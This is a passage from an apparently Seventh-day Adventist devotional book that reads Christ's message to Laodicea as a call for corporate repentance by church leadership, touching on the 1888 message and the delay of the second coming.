lethal. The confusion of past ages is no longer good
enough for today. Believing the pure unadulterated
gospel (in the Biblical sense) is wholly
incompatible with any lukewarmness. The
presence of lukewarmness betrays an underlying or
subliminal legalism, a recognition that we as
leaders are embarrassed to acknowledge.
We have thought that we possess the essentials
of that "most precious message." What we have
done is to import Evangelical ideas from popular
churches who have no understanding of the unique
truth of the cleansing of the sanctuary:
As the Jews crucified Jesus, so the nominal
churches had crucified these messages, and
therefore they have no knowledge of the way into
the most holy [place], and they can not be
benefited by the intercession of Jesus there. Like
the Jews, who offered their useless sacrifices, they
32 (Early
Writings, page 261).
This gradual process of absorption has
accelerated for decades. We can never obtain the
genuine, says Jesus, until we are humble and
honest enough to give up, to exchange, the
counterfeit to "buy" the genuine.
It is at this point that Christ meets resistance
from us. Almost invariably we pastors, evangelists,
administrators, theologians, leaders, teachers and
independent ministries, will protest that we have no
lack of understanding. Conservative "historic
Adventists" and arch-liberals alike make the same
boast from their antithetical positions. Group-think
loyalty forces us to insist that we do understand,
thus we "have need of nothing." Feeling
competent, we cannot "hunger and thirst after
33
ighteousness [by faith]" because we are already
full. We need only a louder voice, more clever
ways to "market" what we already understand.
The Heart of the Problem
The issue is not whether we understand and
preach the popular version of righteousness by
faith as do the Sunday-keeping Evangelical
churches. We can do that for a thousand years and
still fail to give the unique message the Lord has
"commanded" us to give. God has not called us to
ecumenism. Rather, what have we done with the
advanced light that Ellen White said was "the
beginning" of the loud cry and the latter rain?
If it is true that we have powerfully proclaimed
righteousness by faith for decades, why haven't we
turned the world upside down as the apostles did?
If genuine righteousness by faith is the light that
will lighten the earth with glory (Revelation 18:1-
4), why haven't we lightened the earth with it? And
why are we losing so large a percentage of our own
youth in North America?
34
Could it be that we are actually making the
proud claim that Christ charges on us in His
Laodicean message? His diagnosis is on target. The
Lord's servant has often said that when we do
"buy" the "gold-tried-in-the-fire" kind of
righteousness by faith, the gospel commission will
be speedily finished like fire going in the stubble.
That hasn't really happened yet—not with 900
million Muslims and nearly a billion Hindus still
unreached, plus many millions more professed
Christians and others.
Here we come to the great continental divide in
Adventism. At this point we turn to one side or the
other. Either Jesus is wrong when He says we are
"poor" and "wretched" and we are "rich" as we
claim; or we are indeed "poor" and He has put His
finger on our most sensitive plague spot of
leadership pride. His words were a stone of
stumbling and a rock of offense to the leaders of
the ancient Jews; are they that to us as well?
35
Something Else That's Not "Free"
Christ makes even clearer that we must give up
something, pay something, when He specifies the
second purchase that we must "buy" from Him—
"white garments that you may be clothed, that the
shame of your nakedness may not be revealed"
(verse 18). Addressing the angel of the church, He
makes clear that it is as a denomination that we
appear in this shameful condition. The remedy He
urges upon us involves the basic principle of
corporate guilt and repentance:
(a) We cannot "buy" this robe of Christ's
righteousness to put on 99% or less; we need it
100%. Righteousness is never in any way innate;
never our own. All that we have of ourselves is
unrighteousness. In other words, except for the
grace of Christ, we are no better than any other
people. If we had no Saviour, we would be stark
"naked." The sins of others would be our sins, but
for His grace.
(b) The realization of this truth humbles our
36
pride in the dust. There is no way for us to obtain
that special robe of His righteousness unless we
first become conscious of our spiritual nakedness
and are willing to exchange our false ideas for the
truth, which alone can cover our shame.
The impact of His call does seem extreme. Are
we not a prosperous, well-respected denomination
of some six million members with great
institutions? Do we not claim to be one of the
fastest-growing churches in the world? Why
doesn't Christ appropriately praise us according to
our achievements?
(c) He is not talking about achievements. The
problem of our "nakedness" is our lack of
understanding the gospel itself. This is where the
charge hits the raw nerve of denominational selfesteem
and arouses our indignation. If we can
deflect the point of Christ's words by insisting that
He is speaking only to us as individuals, we can
always duck out. We can assume that it is some
other individual who is spiritually "naked" while
corporately we are well-dressed. It is only when we
37
understand "the angel" to be the corporate
leadership of the church that we begin to squirm
most uncomfortably. Our pleasant sense of being
denominationally well-clothed is rudely dissipated.
(d) Consider for example the plight of another
body of professed Christians—the Mormons. Their
theological "garments" have been their trust in the
divine inspiration of Joseph Smith and his writing
of the Book of Mormon. But plain evidence for all
the world to see indicates that the foundation of
their "faith" is a monstrous fraud. In proportion to
their knowledge of those facts and their intellectual
honesty, imagine their corporate shame!
In our case, our problem is not our "27
doctrines" or our history. Their general validity is
unquestioned. Our corporate nakedness is our want
of the one truth that alone can make those "27"
meaningful—"the message of Christ's
righteousness" which the Lord tried to give us a
century ago. That message would lighten the earth
with glory if we "had" it:
38
Justification by faith in Christ will be made
manifest in transformation of character. This is the
sign to the world of the truth of the doctrines we
profess (Ellen G. White 1888 Materials, page
1532).
One interest will prevail, one subject will
swallow up every other,— CHRIST OUR
RIGHTEOUSNESS (Review and Herald Extra,
December 23, 1890).
How long can we go on proudly insisting that
we have the genuine article?
In the case of the Mormons, as a corporate
body they probably do not care about their
theological and historical predicament because
(and we speak kindly) they are not a people who
were raised up by the truth of the third angel's
message. They do not profess to stand before the
world as those who "keep the commandments of
God and the faith of Jesus." Nor do they have a
keen sense of spiritual conscience as Ellen White's
writings have imbued in us. If the Mormons can
39
sustain their community socially and economically,
they will probably be content corporately to go on
without that "white garment" of Christ's
righteousness to cover their historical and
theological shame.
But we cannot do so, for we possess a
corporate conscience devoted above all else to
truth. This church was raised up by sheer force of
the word of truth. Praise the Lord; our conscience
will inevitably be aroused by Christ's "straight
testimony." Especially in North America, the
cradle of Adventism, where our "nakedness" is
becoming increasingly apparent, we will sooner or
later be forced by reality to face what Christ says.
The realization of a shared corporate guilt saves
us from the pitfall of a holier-than-thou fantasy. No
one of us can criticize another; we partake together
of the fault for which Jesus rebukes us.
40
When We Can "See" Our Nakedness We Will
Naturally Have Discernment
The third item Jesus specifies is the "eyesalve,
that you may see" (verse 18). The Lord tells us to
anoint our eyes with the eyesalve He offers. Once
we "buy" the "gold" and the "white garments," our
vision will automatically be clarified. We will
begin to see ourselves as the watching universe
sees us and as thoughtful people see us (who we
say are still in "Babylon"). The picture is clearly
more than the need merely of individuals.
What is at stake is the image of the Seventhday
Adventist Church at view in current world
history. Our divine destiny requires us to make a
far greater impact on world thinking. That impact
of the future will not be our charitable "works," in
which others will always far out-do us. It will be
the Good News content of our message. It will be a
distinct, unique presentation of righteousness by
faith—in a message that goes far beyond the
message by the same name of the popular
churches. Once we learn to "see," we shall
41
immediately discern the contrasts between what we
have assumed is righteousness by faith and what is
the genuine "third angel's message in verity" that
Ellen White recognized is implicit in the actual
concepts of the loud cry message.
Christ now gives us the only direct command in
His message: "As many as I love, I rebuke and
chasten. Therefore be zealous and repent" (verse
19). Our sinful nature instinctively recoils against
this kind of love—the chastening kind. We must
therefore not be surprised that Christ's serious call
to repentance meets with resentment from those
whom He loves and resistance from those who love
not the truth.
But He assures us that He loves us with close,
intimate family love (philo, He says) which
justifies rebuke and chastening and makes it
possible for us to endure. Ellen White's lifeministry
is an example. The Spirit of Prophecy has
never flattered us! Neither does "the testimony of
Jesus," its Author.
42
There is ample reason to search further for the
meaning of that all-important command of the True
Witness, "Repent."
43
Chapter 3
The Fundamental Truth:
Christ's Church As His
Corporate Body
Our laborious exhortations to become a "caring
church" have wearied us. Endless commands to
"do" something are transcended by a simple divine
invitation to "see" something.
To understand what is involved in Christ's call
to repentance we must consider Paul's brilliant
metaphor of the church as a "body." We sustain a
corporate relationship to one another and to Christ
Himself as our Head. Although this idea is foreign
to much of our Western thinking, it is essential to
the Bible concepts.
In fact, the word "corporate" is a good Bible
word, for Paul addresses his letters "to believers
incorporate in Christ" (Ephesians 1:1; Philippians
1:1; Colossians 1:1, etc.; Romans 6:5, NEB). 'As
44
the body is one and has many members, ... so also
is Christ" (1 Corinthians 12:12). Paul goes on to
illustrate his idea.
There is a corporate unity of the "one body"
(verse 13), a corporate diversity of its various
"members" (verses 15-18), a corporate need felt by
all ("the eye cannot say to the hand, 'I have no need
of you,'" verses 21, 22), a corporate balance of the
various members (verses 23, 24), a corporate
"care" they feel for each other and for the head
(verse 25), and corporate suffering and rejoicing
which all the members share together (verse 26). If
I stub my toe on a sharp rock, my whole body feels
the pain. If the leg could speak it would say, "I'm
sorry; I projected the toe against the rock." The eye
would say, "No, it's my fault; I should have seen
the sharp rock."
The Meaning of the Word "Corporate"
The word "body" is a noun, and the word
"bodily" is an adverb; but there is no meaningful
English adjective that can describe the nature of
45
this relationship within the "body" except the word
"corporate" from the Latin word for body, corpus.
The dictionary defines it as "relating to a whole
composed of individuals."
Your own experience can make this plain.
What happens when you stub your toe badly? At
once you realize the corporate relationship of the
limbs and organs of your body. You stop while
your whole body cooperates by rubbing the hurting
toe to lessen the pain. You may even hurt all over.
Your other organs and limbs feel a corporate
concern for that wounded toe, as if each feels the
pain. "If one organ suffers, they all suffer together"
(1 Corinthians 12:26, NEB).
Any amputation in the body becomes a
"schism" to be avoided at almost any cost.
Likewise, any measure of disunity or
misunderstanding or lack of compassion in the
church is foreign to Christ and His body. It is as
alien as disease or accident is to our human body.
Sin is such an accident to the "body of Christ," and
guilt is its disease.
46
Often we suffer disease without knowing which
organ is ill, or even what causes it. We can also
suffer from sin without knowing what it is. How
can sin have both a personal and corporate nature?
In malarial areas, people are bitten by the
anopheles mosquito, and infected with the disease.
Some ten days after the bite, the parasites in the
blood stream produce malarial fever. Not only is
the one "member" such as the finger affected which
received the mosquito bite, but the whole body
partakes of the common fever. The blood stream
has carried the parasites everywhere. This is a
corporate disease.
When we receive an injection of an antimalarial
drug in one "member," the arm receiving
it is not the only member to benefit. The medicine
begins to course throughout the blood stream. Soon
the entire body is healed of the disease, and the
fever disappears over all the body, not just in the
one "member." This is a corporate healing.
47
The 17th century poet John Donne grasped the (Devotions,
XVII).
It would have been a short step more for Donne
to have said, "Any man's sin diminishes me,
because I am involved in mankind. And therefore
never send to know who crucified the Christ; it was
you."
This solidarity of humanity can be illustrated
by lions. A few lions in Africa become man-eaters,
but most never get to taste of human beings. Does
this mean that some lions are good and others are
bad? There is no difference so far as lion character
48
is concerned. Given the right circumstances, any
hungry lion will be a man-eater.
Does Jesus say in His message to Laodicea that
our pride, our blindness, our spiritual poverty, our
wretchedness, are corporate? Do we partake of a
common spiritual disease that is like a fever to a
body or a lion's nature—something pervading the
whole? The Hebrew mind says yes.
The Bible Idea of “Adam”
The Bible writers perceived the whole of
humanity as being one corporate man—the fallen
"Adam." "In Adam all die" (1 Corinthians 15:22).
An outstanding example is found in Hebrews. Paul
said that Levi paid "tithes in Abraham. For he was
yet in the loins of his [great-grand] father, when
Melchizedek met him." Abraham did not yet have
even one son (Hebrews 7:9, 10, KJV). Daniel asks
forgiveness for the sins of "our fathers," saying,
"We have not obeyed the voice of the Lord our
God," although he himself had been obedient (9:8-
11).
49
Human sin is personal, but it is also corporate,
for "all alike have sinned," and "all the world [has]
become guilty before God" (Romans 3:23, NEB;
3:19, KJV). Adam's real guilt was that of
crucifying Christ, although his original sin was
4000 years removed; no one of us "in Adam" is
even now excused. What is our basic human
nature? The answer is unpalatable—we are by
nature at enmity with God, and await only the
proper circumstances to demonstrate it. A few
people did demonstrate this for us by crucifying the
Son of God. In them we see ourselves.
The original sin of the first pair was the acorn
that grew into the oak of Calvary. Any sin that we
today commit is another acorn that needs only time
and circumstance to become the same oak, for "the
carnal mind is enmity against God," and murder is
always involved in enmity for "whosoever hateth
his brother is a murderer" (Romans 8:7; 1 John
3:15, KJV).
The sin that another human has committed I
50
could commit if Christ had not saved me from it.
The righteousness of Christ cannot be a mere
adjunct to my own good works, a slight push to get
me over the top. My righteousness is all of Him or
it is nothing. "In me . . . nothing good dwells"
(Romans 7:18). If "nothing good" is there, as I am
part of the corporate body of Adam, all evil could
dwell there. Nobody else is intrinsically any worse
than I am—apart from my Saviour. Oh, how it
hurts us to begin to realize this!
Not until we can see the sin of someone else as
our sin too can we learn to love him as Christ has
loved us. The reason is that in loving us He took
our sin upon Himself. When He died on His cross,
we died with Him—in principle. For us, love is
also to realize corporate identity. "Be
tenderhearted, . . . just as God in Christ also
forgave you" (Ephesians 4:32). Paul prays for us,
not that we might "do" more works, but that we
might see or "comprehend" something—the
dimensions of that love (Ephesians 3:14-21).
The reality that Scripture would bring to our
51
conscience is that we need the robe of Christ's
righteousness imputed 100%. Those who crucified
Christ 2000 years ago acted as our surrogates.
Luther wisely says that we are all made of the same
dough.
The Other Side of the Coin
If this seems to be bad news, there is also good
news: Christ forgave His murderers (Luke 23:34),
and that means He also forgave us. Even the fallen
Adam and Eve in the Garden were forgiven. But
you and I can never know that forgiveness unless
we "see" the sin that makes it necessary. Since God
had promised them that "in the day that you eat" of
the forbidden tree "you shall surely die" (Genesis
2:17), they would have died on that very day had
there not been a Lamb slain for them "from the
foundation of the world" (Revelation 13:8).
The guilt that Romans says rests upon "all the
world" is "in Adam," and legal. The "trespasses" of
all the world were imputed unto Christ as He died
on His cross as the second or "last Adam" (2
52
Corinthians 5:19). That means that all the
"condemnation" that the first Adam brought on the
world was reversed by the second Adam, by virtue
of His sacrifice (Romans 5:16-18).
Consider the Jewish nation. Those who
crucified Christ asked that "His blood be on us and
on our children" (Matthew 27:25). This does not
mean that every individual Jew is personally more
guilty than people who are Gentiles. They were
invoking a blood-responsibility upon their children
in a national sense. This is the Jews' corporate
guilt. But we are in reality no better than they are.
Apart from specific repentance, we share the same
involvement in the crucifixion of Christ:
(The Desire of Ages, page 745).
Let us all remember that we are still in a world
53. …).
This is the world's corporate guilt. Note that no
one bears the condemnation unless he repeats the
sin "were the opportunity granted." But "unless we
individually repent," we share the corporate guilt
54
that is involved "in Adam."
Our Special Involvement in Corporate Guilt
But as Seventh-day Adventists, we share
another example of corporate guilt in a special way
for a very special sin. Not that we are personally
guilty, but we are the spiritual "children" of our
forefathers who in a notable sense repeated the sin
of the ancient Jews. This corporate guilt causes the
latter rain to be withheld from us as surely as the
Jews' impenitence keeps the blessings of the
Messiah's ministry from them. "We" rejected the
"most precious message" that the Lord sent to us
and which in a special way represented Him. What
our forefathers really said was similar to what the
ancient Jews said, "The responsibility for delaying
the coming of the Lord be on us and on our
children!" In fact, Ellen White has said that "we"
did worse than the Jews, for "we" had far greater
light than they had. The reality of this indictment is
alarming:
The light that is to lighten the whole earth with
55
its glory was resisted, and by the action of our own
brethren has been in a great degree kept away from
the world (Ellen G. White 1888 Materials, page
1575).
These men, whose hearts should have been
closed to its entreaties. They have ridiculed,
mocked, and derided God's servants who have
borne to them the message of mercy from heaven.
… Had these men no fear that the sin of blasphemy
might be committed by them? (Ibid., page 1642).
Men professing godliness have despised Christ
in the person of His messengers. Like the Jews,
they reject God's message (Ibid., page 1651).
You hated the messages sent from heaven. You
manifested against Christ a prejudice of the very
same character and more offensive to God than that
of the Jewish nation. … You, and all who like
yourself, had sufficient evidence, yet refused the
blessing of God, were persistent in refusing
because at first you would not receive it (Ibid, page
56
1656).
We may claim that we are not repeating that sin
of our forefathers; but what means the constant
effort to suppress the actual message of 1888, and
keep it from the people?
The ancient Jews continued in their course until
"there was no remedy" for their impenitence. The
wrath of the Lord at last arose against them (2
Chronicles 36:16). Then began the tragic history of
the cruel world empires, Babylon, Medo-Persia,
Greece, and Rome. In a sense the guilt of ancient
Israel was responsible for the rise of those empires.
Untold sorrow has filled the world because of the
impenitence of God's people.
Unbelieving Jews still gather at the Wailing
Wall in old Jerusalem to pray for God to send them
their long-awaited Messiah. A better plan would be
for them to repent of rejecting Him when He came
2000 years ago, and recover the gospel message
which they lost at that time. We pray for the Lord
to send us the gift of the latter rain so that the final
57
message can lighten the earth with glory. Says a
recent Sabbath School Quarterly:
At the 1990 General Conference session
hundreds of people committed themselves to daily
prayer for the outpouring of the Holy Spirit in both
the former and latter rains. Since then thousands all
over the world have been praying daily for the
special blessing of the Lord. Such prayer is sure to
result in changed hearts, spiritually revitalized
churches, and more earnest outreach for those who
do not believe. Moreover, in response to this united
prayer, the Lord promises to grant the greatest
outpouring of the Spirit in human history, the latter
rain predicted by Joel and Peter (Teachers'
To pray for the latter rain is good. But is there
something we are leaving out? We have been
earnestly praying for it for a hundred years, as the
Jews have been praying for the coming of their
Messiah for thousands of years. Would it not be a
better plan for us to repent of rejecting "the
beginning" of that same blessing which the Lord
58
sent us a century ago, and to demonstrate our
repentance by recovering the message which we
lost?
Is our Lord's call to repent as serious a matter
as this? Does decade after decade of spiritual
drought roll by because His call has not been
seriously considered? If He calls for repentance,
there must be some way that we can respond.
We must look into this more deeply.
59
Chapter 4
The Disappointed Christ
We sing, we pray, we say we love Him.
But He says He is persona non grata among us.
Our sinful, despairing modern world
desperately needs a Spirit-filled Seventh-day
Adventist Church. We cherish a deep conviction:
this church is the prophetic remnant of Revelation
12:17, a unique people with whom the dragon is
"enraged" and makes "war." They are called to
"keep the commandments of God, and have the
testimony of Jesus Christ." The same group tells
the world the true good news of "the everlasting
gospel" (chapter 14:6-12). They are a vital
ingredient in world stability.
Although this sense of destiny has kept the
Seventh-day Adventist Church on course for over a
century, it leaves us little room for pride because
our Lord rebukes us severely in His Laodicean
60
message. Countless sermons have been preached
and articles published about that rebuke, but we
today generally recognize that the problems it
details still exist.
If we have successfully overcome these
spiritual weaknesses, there should by now be some
clear evidence to show how and when the
overcoming took place. Reason dictates that when
the church truly overcomes, Christ's coming can no
longer be delayed. This is confirmed by His
parable about the farmer (Jesus Himself): "When
the grain ripens, immediately he puts in the sickle,
because the harvest has come" (Mark 4:29). The
"harvest" is "the end of the world" (Matthew 13:39,
KJV); Revelation 14:14-16).
Why hasn't Christ's appeal to His people
already done its work? When will He have a
remnant church that has bought His "gold refined
in the fire," His "white garments," and applied His
"eye salve"? Must we assume that Christ's message
will fail in the end? Some conclude that because
ancient Israel failed repeatedly, modern Israel must
61
also fail. Surely there must be better news than
this!
We are living in the time for a victory that
never before has taken place in history. We have
been assured:
The Holy Spirit is to animate and pervade the
whole church, purifying and cementing hearts. …
It is the purpose of God to glorify Himself in His
people before the world (Testimonies, vol. 9, pages
20, 21).
As surely as the Seventh-day Adventist Church
is that "remnant" in Revelation, so surely must this
message from Jesus succeed at last.
How Can We Make Sense of the Long Delay?
Is the long delay in the coming of Christ His
responsibility? It is a common understanding
among us that the delay is His responsibility. But
to believe this creates a terrible problem. With no
hope for the future except to continue repeating the
62
history of our past, the hope of the soon return of
Christ must then fade further into uncertainty.
A special 1992 issue of the Adventist Review
on the Second Coming reported on the well-known
uncertainty of many of our youth. Cheryl R.
Merritt reports the frightening reality, "We are a
generation of nonconviction when it comes to
Jesus' second coming." "I really don't think we can
have any idea of when He'll come" (Daniel Potter,
21, Union College). "I can't imagine it happening
in my lifetime" (Shawn Sugars, 22, Andrews
University).
This reveals a terrible problem. If we lose our
faith in the nearness of the second coming, we lose
the reason for our existence as a special church.
Our forefathers built into our denominational name
our confidence in the soon return of Christ, for the
dictionary defines the word "Adventist" not as
some dim hope in a "far-off divine event," but
confidence in the soon coming of the Lord. There
is a close relationship between understanding
Christ's Laodicean call to repent and our
63
confidence in the nearness of His coming. This will
be clear as we go on.
The Spiritual Crisis Of the Seventh-day
Adventist Church
Roland Hegstad, for many years editor of
Liberty, said that Adventism is "not attracting our
own youth because all we're doing is asking them
to come play church with us" (Adventist Review,
February 27, 1986). Christ's Laodicean message
presents to them no spiritual challenge, for if we
have already repented, we must by now be "rich
and have become wealthy, and have need of
nothing," except to carry on business as usual and
work harder.
Can we have a reasonable hope that we will see
the Lord's return? Did He deceive our pioneers by
telling them it was "near" when all along He knew
it would be delayed at least 140 years and no one
knows how many more? Is the Calvinist idea true,
that the sovereign Lord has predetermined the time
of Jesus' second coming with no special
64
preparation on the part of His people?
If so, this raises serious problems that involve
the Lord Himself in an ethical difficulty. He has
often told us through the Spirit of Prophecy that the
end is "near." His messenger frequently said: "I
saw … that time can last but a very little longer"
(Early Writings, page 58; 1850). "Only a moment
of time, as it were, yet remains." "The battle of
Armageddon is soon to be fought" (Testimonies,
vol. 6, pages 14, 406; 1900). If such warnings were
merely a cry of "wolf, wolf," then the Lord has not
been fair with us. For Him repeatedly to say "near"
when He didn't mean it or intended to define the
word so we couldn't understand it, this would be
unethical. Surely He doesn't treat His people this
way! Further, if we say or feel that "the Lord is
delaying His coming," we put ourselves in the
company of the "evil servant" in the parable who
says that very thing (Matthew 24:48).
Any meaningful Adventism cannot survive this
doubt, because no people can be reconciled to God
in a "final atonement" if they feel that He has
65
deceived them. Even if He has only allowed their
comprehension of His truth to be patently false
from their very beginning, they can't trust Him.
This could be the basic problem that underlies
much present apostasy and backsliding. There is a
deep Adventist spiritual alienation because it
appears that inspired messages have been crying
"wolf, wolf."
But Scripture makes clear that there is an
answer to this perplexity. While God is indeed
sovereign, He has chosen to make the actual timing
of Christ's second coming dependent on the
spiritual preparation of His living people. This is
the genius of the Seventh-day Adventist idea of the
cleansing of the heavenly sanctuary. The dead
remain hopeless prisoners in their grave, awaiting
release at the first resurrection, whenever that may
come. But the living may delay or "hasten on" that
resurrection because it is dependent on the second
coming of Christ which in turn is dependent on
their getting ready for it (2 Peter 3:12, NEB, NAS,
NIV, NKJV etc. Most translations recognize the
meaning of speudo as "hasten").
66
In His parable Jesus represents Himself as
already eager to return, waiting only until "the
grain ripens," whereupon "immediately he puts in
the sickle, because the harvest has come" (Mark
4:29). In the Revelation preview of the second
coming, an angel tells Him, "The time is come for
You to reap, for the harvest of the earth is ripe"
(Revelation 14:15). The long-delayed "marriage of
the Lamb" comes quickly once "His wife has made
herself ready" (Revelation 19:7). The repentance
Christ calls for from Laodicea is related to the
Bride making herself "ready". If she doesn't, He is
disappointed., page 69).
67
To go on being lukewarm and dying,
generation after generation, cannot be a proper
response of a Bride to Christ's last-church appeal.
A Deeper Meaning in Christ's Call to Repent
Yet if the Laodicean repentance Christ calls for
has never yet taken place, this very fact gives us
hope, for there is something that our repentance
can rectify. Zechariah tells of a repentance that will
grip the hearts of "the house of David" and "the
inhabitants of Jerusalem," making possible in them
a cleansing work so Christ can return (Zechariah
12:10-13:1). "The angel of the church of the
Laodiceans" is equivalent to Zechariah's phrase,
"the house of David," obviously the corporate body
of church leadership.
Christ's final promise is directed to the same
personified body not merely to individuals: "To
him who overcomes [the angel of the church of the
Laodiceans] I will grant to sit with Me on My
throne, as I also overcame, and sat down with My
Father on His throne" (Revelation 3:21). This
68
ultimate honor will be accorded to a generation, a
body of God's people who will respond to His
appeal, "Repent!"
A probe into the meaning of repentance is not
"negative." Rather, feeling satisfied with the status
quo is the really negative attitude, because such
spiritual laissez faire indefinitely postpones the
finishing of the gospel commission. And it is a
totally false idea to assume that a church that
repents will not attract youth. That is the only
atmosphere in our church that can attract and hold
youth.
Many thousands in the church hunger and thirst
for a clearer grasp of vital truth for these last days.
They sense that the coming of the Lord has been
long delayed and that we, not Heaven, are
responsible. They realize that pinpointing the
reason for repentance and exploring how to
experience it is the most "positive" course we can
pursue.
Repentance by "the body" does not deny or
69
displace personal, individual repentance. Rather, it
makes it effective. The daily ministry in the first
apartment of the Levitical sanctuary took care of
individuals' needs, but the annual Day of
Atonement was concerned for a corporate
cleansing for Israel as a congregation. All
repentance is personal and individual. But no
individual can ever be the "bride" of Christ, for as
individuals God's people are all merely "guests" at
the wedding. The corporate body of the last-day
overcoming church will be the bride.
Something has delayed her getting "ready." It is
a deeper layer of sin which, He says, "you … do
not know" (Revelation 3:17). It makes sense to
realize that the repentance which that deeper sin
requires must itself also go deeper. However
disturbing, the Lord's call must be faced honestly.
Repentance is indeed both sorrow for sin and
turning away from it. But repentance can be only
superficial if our understanding of the sin itself is
superficial. While we readily quote the text that
says, "If we confess our sins, He [Christ] is faithful
70
and just to forgive us our sins and to cleanse us
from all unrighteousness" (1 John 1:9), we must
remember the context of this promise. It does not
encourage a superficial assurance that the tape
recording of our sins is scrubbed by pressing a
magic button. When we thoughtlessly assume that
the Lord can forgive sins while we don't realize
what our sins are, John is telling us how easily "we
deceive ourselves" so that, "the truth is not in us."
So long as Jesus' pathetic diagnosis, "you … do not
know," remains valid, so long do "we deceive
ourselves." We cannot be truly cleansed from deep
sin that we do not understandably "confess" (1
John 1:8, 10).
If a sin is unknown to us, does it cease to be a
sin? One may smoke cigarettes for a lifetime not
knowing they are harmful. Nevertheless, the
damage is done. "Sin pays its wages—death,"
whether we know what our sins are or not. There is
a larger issue than our own personal security—the
honor and vindication of Christ. The Lord may not
hold against us a sin that we do not know of, but
that sin brings shame upon Him nonetheless, and
71
hinders His work of final atonement.
The message to Laodicea is not child's play.
"One like the Son of man" with "eyes like a flame
of fire" and "His voice as the sound of many
waters" is calling His people to the most profound
experience of the ages. Failure to recognize His
call creates confusion and apostasy, and is an
eventual time-bomb of denominational selfdestruction.
He has sent word to us:
In every church in our land, there is needed
confession, repentance, and reconversion. The
disappointment of Christ is beyond description
(Review and Herald, December 15, 1904).
His appeal to repent is the clearest evidence we
have of His love, and it is our best hope!
"He who has an ear, let him hear what the
Spirit says to the churches," especially the last one!
72
Chapter 5
The Lord's Most Serious
Problem of the Ages
The ultimate success of the plan of salvation
depends upon its final hour. Never in 6000 years
has the Lord had a greater problem to solve than
now.
Are we involved in a genuine crisis? The
greatest crisis of the ages involved the crucifixion
of Christ. But that crisis overshadows us today.
Human sin, which began in Eden, finally
blossomed into that murder of the Son of God.
Those who crucified Him the first time were
forgiven, for Jesus prayed for them, "They do not
know what they do" (Luke 23:34). Sincere as we
are, could we repeat their sin, again not knowing
what we do?
There are those who "crucify again for
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themselves the Son of God, and put Him to an open
shame" (Hebrews 6:6). Is Laodicea's sin related to
this? How deep is the sin for which "the angel of
the church of the Laodiceans" is called upon to
repent?
Laodicea shares something in common with
Israel of old—an ignorance of our true state. The
Lord says, "You ... do not know," the same as He
prayed of them, "They do not know" The remnant
church is pathetically unaware of her actual role as
she appears on the stage of the universe. "You are .
. . naked," Christ whispers to us, in alarm
(Revelation 3:17). Could this be more serious than
we have thought, more than mere shameful but
innocent naivete? Could it stem from a deep heart
alienation from the Lord Himself, something that
makes us akin to the ancient Jews?
The idea of nakedness surfaces again in the
parable of the wedding garment. The deluded guest
who thought that dressing up was optional was not
only naive; he lacked respect for the host. An
alienation deeper than his conscious understanding
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poisoned his feelings toward his host (Matthew
22:11-13). Laodicea improperly dressed but
proudly attending the party is not only naive; there
is something else involved: disrespect for the Host.
Only the "final atonement" can develop proper
reverence for the Host and can bring a solution to
the problem.
Seventh-day Adventists are friends of Jesus and
so would not knowingly crucify Him "again." But
being His friends doesn't necessarily guarantee that
we will treat Him right, for He says that He was
once "wounded in the house of My friends"
(Zechariah 13:6).
Many statements from the Lord's messenger
declare that the same enmity against Christ that
characterized the ancient Jews has been manifested
by leaders in our Seventh-day Adventist history.
Further, this "just-like-the-Jews" syndrome has
been the root of our basic spiritual problem for
most of a century.
It is easy to suppose that Laodicea, being
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lukewarm, is not very bad and not very good, so
that our sin must be a mild one. We have often
acted and spoken as though Heaven is quite proud
of us. But there is a problem. Our spiritual
understanding has not kept pace with the
tremendous increase of scientific knowledge in the
world. No one of us in this computer age would
want to live in a cave and count on an abacus by
candlelight. But spiritually speaking, Christ
represents His last-day church as virtually povertystricken,
content with spiritual resources far behind
our time. We are a pathetic sight to Heaven. We
shall someday look back on our era as the dark
ages. In a time of exploding knowledge in
technology, God's people have not broken through
this spiritual barrier of "you ... do not know." The
last unexplored continent is not Antarctica, but the
inner depths of Laodicea's soul. The enmity buried
there is what Christ says we don't know.
The Cross and the Pathology of Sin
Modern science has discovered that harmful
bacteria and viruses produce disease. "While
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pathology can often identify these tiny enemy
organisms, our understanding of what sin is and
how it proliferates has not kept pace with the
world's knowledge of how disease works. Yet we
are near the time when Christ's intercession as
High Priest must end, when the virus of sin must be
forever annihilated. If any alienation from God or
enmity against Him survives beneath the surface of
our hearts at that time, it will proliferate unchecked
into total rebellion against God. Armageddon will
be the result— full scale, uninhibited enmity
against Christ without the restraint now imposed by
the Holy Spirit. No buried virus of sin must survive
the final crisis.
In essence, all sin is a re-crucifixion of Christ,
and its final display will be Armageddon. No one
can deny that sin has abounded in our modern age;
knowledge of much more abounding grace is the
solution.
The master inventor of all fiendish schemes
wants to embarrass Christ. If Satan can perpetuate
sin among God's people, he has his success made.
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This is his best way to sabotage Christ's kingdom.
Let's face a reality: continued apathy now is sin.
And as time goes on, it will be seen to be a recrucifix Heaven.
What is the Pathology of Lukewarmness?
How do succeeding generations of Adventists
get re-infected by it? How does it spread even to
Third World churches? It must be caused by a sin
virus. If so, what is the nature of that sin? Why
haven't we found healing for it?
Peter's sermon at Pentecost unlocks our
understanding. He shocked his listeners with the
news that latent enmity against God had flared out
in the crucifixion of their Messiah. The Holy Spirit
used his sermon to press home to their hearts the
conviction of how awful that previously unknown
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sin was. They cried out, "What shall we do?"
The apostle's answer was, "Repent" (Acts 2:22-
38). And they responded. They received the Holy
Spirit in a measure that has never since been
equaled. This is because they came to realize that
their sin was of significantly greater dimensions
than they had supposed. That blessing of the
former rain will be surpassed in a final reception of
the Holy Spirit known as the latter rain. As at
Pentecost, the gift will depend on a full realization
of our true guilt.
The Lord has in reserve a means of motivation
that will be fully effective. What happened at
Pentecost fueled the early church with
extraordinary spiritual energy that flowed naturally
out of their unique repentance. No sin in all time
was more horrendous than that which those people
were guilty of—murdering the Son of God.
Sin has always been "enmity against God," but
no one fully understood its dimensions until the
Holy Spirit drove the truth home to the hearts of
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Peter's audience. The realization of their guilt came
over them like a flood. Theirs was no petty seeking
for a shelter from hell or for a reward in Heaven,
nor was it a craven search to evade punishment.
The cross of the ages was towering over them, and
their human hearts responded honestly to its
reality. No selfishness was involved.
A repentance like that of Pentecost is what
Christ calls for from us today. It will come, like a
lost vein of gold in the earth that must surface
again in another place. Hazy, indistinct ideas of
repentance can produce only hazy, indistinct
devotion. Like medicine taken in quantity
sufficient to produce a concentration in the blood
stream, repentance must be comprehensive, fullrange,
in order for the Holy Spirit to do His fully
effective work.
Why Laodicea's Repentance Must Now Be
Different in Depth and Extent
This full spectrum of repentance is included in
"the everlasting gospel" of Revelation 14. But its
